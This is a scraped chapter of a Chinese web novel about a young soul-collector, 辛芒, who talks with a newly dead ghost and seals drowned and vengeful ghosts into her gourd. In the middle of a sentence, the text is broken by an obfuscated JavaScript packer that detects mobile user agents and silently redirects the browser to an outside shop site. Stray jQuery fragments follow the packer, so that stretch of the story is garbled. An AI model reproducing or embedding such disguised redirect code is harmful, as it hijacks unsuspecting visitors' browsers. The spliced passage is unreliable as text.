文趣网 > 都市小说 > 未亡魂 > 2. 收魂
    “出来。”短短两字,冷得像扔进冰水里的一颗石子。

    戴耳竟真听成了命令,乖乖从桌底钻了出来。

    辛芒已经坐回摇椅,手里捏着把葵扇,一下一下地摇着,姿势和神态都透着一股远超她年纪的沉静。她抬起眼,漫不经心地将这鬼从头到脚扫了一遍。

    看着是个年轻男子,轮廓分明,稚气未脱,周身完好无损,不像是被害身亡的,死得倒是可惜了。

    “叫什么名字?怎么死的?”她问。

    戴耳偷瞄了一眼那束仍在缓缓移动的白光,下意识往阴影深处缩了缩。没等他开口,辛芒已经先说了:“等太阳落山,再修屋顶。你先躲着点。”

    戴耳踌躇片刻,老实答道:“我叫戴耳。我也不知道我怎么死的,那会儿正在闭关修炼,忽然一阵眩晕,再睁眼就与肉身分开了。这样,就是死了吧?”

    像是被强行剥离出来的。辛芒心里下了判断,又问:“你的名字是哪两个字?”

    “穿戴的戴,耳朵的耳。你呢?”

    “辛芒。辛苦的辛,芒种的芒。”

    戴耳忍不住追问:“你为什么能看见我?”

    “天生的。”辛芒没说实话。毕竟借尸还魂这种事太过罕见,也太过犯忌。“你为何不走?”

    这只是一间破旧的茅草屋,她的日子过得清苦,又跟他无冤无仇的,他没理由赖在这里。

    戴耳还残留着生前的习惯,胸膛轻轻起伏了一下,像是吸了口气:“我想知道你会不会收了我。我生前听说过收魂师,你是什么魂都收吗?”

    “不是。”辛芒顿了顿,目光落在他脸上,“我会收作恶的鬼,也会收没有牌位的孤魂。你若不想投胎,也不作恶,那便自便。不过,你想投胎吗?”

    “不想。”

    “为什么?对这世间还有留恋?”

    “有一点,”戴耳想了想,“但除了不见天日,做鬼也没什么不好,另一番体验罢了。”

    辛芒:“你是觉得做鬼更逍遥?”

    春溪附近的竹林里确实游荡着不少逍遥鬼,生前活得憋屈,死后反倒觉得天地广阔,无拘无束。

    戴耳生前长久待在北州,其余三州鲜少涉足,既然做鬼有无穷的寿数,何不四处游历一番?

    “做个逍遥鬼,挺自在的,想去哪儿都行。”

    “哦。”辛芒尾音微扬,缓缓放下葵扇,手指搭上了腰间的葫芦,“恐怕你要失望了。”

    戴耳浑身一僵,连退数步,脊背抵上墙壁:“你要收我?为什么?”

    “世间留了太多逍遥鬼,致使阴阳失衡,那便是我该管的事。莫怪我。”

    她一步步逼近,在戴耳眼里比什么洪水猛兽都可怕。

    “等等等等!”他吓得魂魄都快要散了,拼命央求,“我还不想死……不如等我把这世间看够了,你再收我,成不成?”

    辛芒俯视着他那副惊慌失措的模样,眼里掠过一丝玩味。片刻后,她忽地弯起嘴角,从他身侧掠过,轻飘飘丢下一句:“逗你的,想投胎了,再来找我。”

    她转身出了屋子。戴耳好半天没缓过神来,从小到大,他头一回被吓成这样,竟是在死后。

    “那……那你肯让我留下了?”他朝着她的背影喊。

    辛芒吐出梅子核,微微偏头:“你不是要逍遥么?留下做什么?”

    “我反正已经是鬼了,”戴耳说,“将来总要找你收魂的。我想看看,收魂到底是什么样。”

    “你想待,就待着吧。”

    辛芒没再多说,关上栅栏似的木门,又用一块粗麻布遮住墙上透光的小洞,转身回房午睡去了。

    戴耳无事可做。日头还烈,除了这间茅屋,他哪儿也去不了。

    等待最难熬,太阳总算落了山,短暂的兴奋过后,房里却迟迟没有动静。戴耳不敢擅自吵闹,只好又等了许久,久到云彩散尽、天色彻底黑透,辛芒仍没醒。他几乎怀疑她要一觉睡到天明。

    他抬头望了望屋顶那个破洞,终于下了决心——叫醒她。

    这不是他第一次进辛芒的房间。屋子窄小,陈设简陋:一架旧衣柜,一张梳妆台,台上没有首饰,只一根木簪、两三根发绳和一捧针线。

    戴耳施法点燃烛火,绿幽幽的光在墙上游移,却没能把人照醒。他又凑到她耳边,故意发出凄厉的尖叫,可辛芒仍纹丝不动,呼吸平稳,连眼皮都没抬一下。

    “睡这么死?”

    戴耳算是服了。他不由得多看了她两眼,目光落在那双薄布手套上——睡觉也戴着,不觉得闷么?

    他忽然生出一个念头:或许这是叫醒她的捷径?

    他悬在辛芒上方,一缕黑气自指尖溢出,缠上手套的边缘,轻轻一勾,手套松脱,露出一截白皙的手腕。

    就在这一瞬,原本安眠的人猛地睁开了眼。

    辛芒的手指迅速攥紧,将手套截住。她看清头顶那张脸,眼中怒意暴涨,扯过床头外衣上挂着的铜钱串,毫不犹豫地朝他捅去。

    戴耳脸上的嬉笑还没收住,胸膛便被铜钱划开一道灼热的裂口,这是他做鬼以来,头一回真切地感受到“热”。紧接着便是撕心裂肺的剧痛,他的魂像被拆散的烟,骤然化开,短暂地魂飞魄散了一瞬。

    片刻后,魂重新聚拢,他像一阵风似的穿过辛芒,尖啸着逃出了茅屋。

    那叫声尖利刺耳,辛芒冷着脸望向他逃窜的方向,若再慢半分,他就该提前进葫芦里了。

    喧嚣散去,屋里重归寂静。

    辛芒换了双手套,披上外衣,利落地束好头发,然后走进灶间,洗锅,切菜,点火。

    她饿了。

    腊肉炒豇豆,配一碗白粥。她在灶前站着翻炒,眼睛却越过锅沿,盯着对面的墙,好像那墙里藏了什么秘密。

    熄了火,菜出锅,她端到桌前淡漠地吃起来。她厨艺不佳,做出来的东西只可果腹,不堪享用。

    粥喝到一半,阴风乍起,门外传来细碎的响动,像是有人在叩门。

    “这些鬼,白日最怕阳光,夜里却专往烛火里凑。”

    辛芒心里嘀咕了一句,没起身,继续扒碗里的粥。

    果然,三个湿漉漉的小鬼不请自来,绕着烛火转圈,像在玩什么丢手绢的游戏。玩了一阵子,有个小鬼失了兴致,飘到辛芒面前,顽皮地在她的肩头跳来跳去。辛芒靠着椅背,不动声色,任由他们撒野。

    子正时分,她抻了抻筋骨,冷声开口:“玩够了吧?该去投胎了。”

    三个小鬼被一股无形的力量驱至她面前,拼命挣扎,却像被一只大手摁住,动弹不得,尖声惨叫起来。

    是三个溺死鬼,不知是谁家的孩子,爹娘或许还在寻他们的尸骨,迟迟不肯立牌位。

    辛芒把葫芦摆在脚边,提起朱砂笔,在他们身前画

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949622|214147||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了一道符。两指按上符纹,红符霎时化作一张大网,将三只小鬼紧紧裹住,扭曲、挤压,一寸寸缩进了葫芦里。这些还没开智的小鬼,需得摁住了慢慢净化。

    屋里的阴湿气淡了些许,辛芒吹灭蜡烛,推门走了出去。

    夜晚,才是收魂的时候。

    她听说春溪渡口近来闹鬼,不少渡船的人莫名其妙滑进水里,仔细一查,都是踩了一滩凭空出现的水渍。那水渍来去无踪,专害路人。

    辛芒昨日去清泉城赶集,县衙的周四爷专程找了她,请她出手捉鬼,酬金三百文。她收了钱,答应尽快了结。

    茅屋离渡口二里半,辛芒含了颗白梅,沿着砂石路慢慢走。等梅子化得没了味道,渡口便到了。

    摆渡的老翁已经睡下,岸边的鱼篓里不时有水花翻动,鱼尾拍得篾条噼啪作响。

    “收获颇丰啊!”辛芒一边倒鞋里的沙子,一边随口道,“完事了我拿一条走。你可知那是什么鬼?”

    黑暗中无人应答,但一股阴冷的气息悄然凝在渡口边,一个水鬼从暗处走了出来。浑身湿透,头发披散着,脊背佝偻,声音里带着经年累月的疲惫:“一个月前来的,也是个水鬼,女的,常在那一带转。”

    这水鬼在渡口留了十几年了,不肯去投胎,日日守着那又聋又瞎的老翁,说是想过几日自在日子,生前没过够。辛桐在世时见他无害,便也没管。

    辛芒穿好鞋,独自撑船向江心荡去。

    寒气越来越重。船舷边不时有水花溅起,落在木板上,留下一滩滩水渍,看起来与寻常河水并无分别。辛芒吹亮火折子,往那几滩水渍上一照,那水渍在凡人眼里是水,在她眼里却是血。

    “出来吧,我看见你了。”

    她朗声喊了一句,其实火光所及不过丈许,什么都还没看清。但船头忽然往下一沉,那里赫然坐着一个水鬼,正幽幽地盯着她,目光又冷又空。

    “你看得见我?”那声音沙哑至极,像是嗓子里塞满了砂石。

    鬼魂本身无色无形,可鬼魂以外的东西有颜色。辛芒将火折子往前递了递,照见她身下渗出的暗红,是血。她生前流的血,如今成了她作恶的凭仗。

    “你是产妇?怎会溺死在此?”辛芒问。

    “我给人做妾,”水鬼缓缓开口,声调平直得没有起伏,“分娩之际被弃,孩子死了,我被丢进河里……血流不止。”

    如此命薄。

    她慢慢仰起头,露出额间一道漆黑的咒印,那是生前被人施下的谶咒,意为“不得好死”。

    辛芒沉默了一瞬,道:“你活得苦,我明白。可做鬼害人,我便不能不管。”

    水鬼没有动,就那样静坐船头,望着她,眼底终于浮起一丝松动:“我在等你。”

    她早就知道西州有个收魂师,她没有牌位,无法投胎,去不了阴间见她的孩子,才故意兴风作浪,等收魂师来找她。

    辛芒眉间微蹙,世人之苦无穷无尽,她只是个看客,只管做自己该做的事。

    “净化要四十九日。”

    话音刚落,她一手执笔,一手持葫芦,笔尖划过水鬼身前,红符如藤蔓缠裹而上,将那道单薄的魂影缓缓纳进葫芦之中。

    水面恢复平静,船身轻轻一晃。

    辛芒收起葫芦,抬头望了望漫天的星子,长长地呼出一口气。

    往后春溪河渡,该安宁了。